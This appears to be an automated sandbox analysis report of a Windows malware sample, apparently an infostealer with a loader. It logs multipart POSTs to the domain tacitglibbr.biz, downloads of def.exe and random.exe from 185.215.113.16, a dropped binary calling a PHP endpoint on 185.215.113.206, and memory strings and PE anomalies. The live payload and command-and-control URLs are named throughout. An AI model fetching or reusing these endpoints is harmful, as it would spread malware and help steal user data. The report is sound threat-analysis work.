Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=44NEFHMQPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12781Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SGGB08LTNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15023Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AQ0EKOA9T4C3ZO9Z44User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20567Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QUROMYUKAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1189Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6A9BWILMV1WLPNDDZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552412Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe(
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeerN
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/s
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeD
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/w
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp, GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L?
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8)
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT(
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl(
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx(
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2245144917.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268091520.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/%
Source: qvkwOs4JfC.exe, 00000000.00000003.2240632514.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2239527884.0000000005453000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2267992907.0000000005452000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2289576367.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268264355.0000000005454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/Z1
Source: qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/m
Source: qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: qvkwOs4JfC.exe, 00000000.00000003.2289519974.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pim
Source: qvkwOs4JfC.exe, 00000000.00000003.2240632514.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2239527884.0000000005453000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2217066538.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2214433675.000000000544B000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2214605993.0000000005450000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2215186404.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/rV
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49735 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: qvkwOs4JfC.exe	Static PE information: section name:
Source: qvkwOs4JfC.exe	Static PE information: section name: .idata
Source: qvkwOs4JfC.exe	Static PE information: section name:
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name:
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: .idata
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name:
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: .idata
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CCF8CE	0_3_00CCF8CE
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85ACF	0_3_00C85ACF
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85ACF	0_3_00C85ACF
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85A85	0_3_00C85A85
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85A85	0_3_00C85A85
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85ACF	0_3_00C85ACF
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85ACF	0_3_00C85ACF
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85A85	0_3_00C85A85
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85A85	0_3_00C85A85
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CCF8CE	0_3_00CCF8CE
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CD0000	0_3_00CD0000
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CD0000	0_3_00CD0000
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CCF8CE	0_3_00CCF8CE
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CD0000	0_3_00CD0000
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00CD0000	0_3_00CD0000
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_0091B099	3_2_0091B099
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_0091C0FC	3_2_0091C0FC
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_00930590	3_2_00930590
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_009305AD	3_2_009305AD
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_009305C9	3_2_009305C9
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_00930557	3_2_00930557
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_00930543	3_2_00930543
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_007A09AC	3_2_007A09AC
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_00915C84	3_2_00915C84
